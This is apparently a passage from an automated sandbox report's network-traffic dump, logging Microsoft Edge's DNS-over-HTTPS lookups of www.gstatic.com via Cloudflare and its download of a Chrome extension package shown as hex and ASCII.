2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb829dc1943b0-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 de 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49839	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb82a0930433a-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49840	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb82a2d7c4243-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a9 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49829	142.250.181.97	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:50 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:51 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4Xo5_SjgStmXZmUzjAeeP8QUbAteBHBzl6avEeNMgfbpVkNJ7Fknm4GZNSA_by5dHYTAw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Fri, 22 Nov 2024 16:45:00 GMT Expires: Sat, 22 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 55910 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 08:16:51 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-23 08:16:51 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49851	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb8316d0041ba-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom Q)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49850	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb831cad7c32f-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49852	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
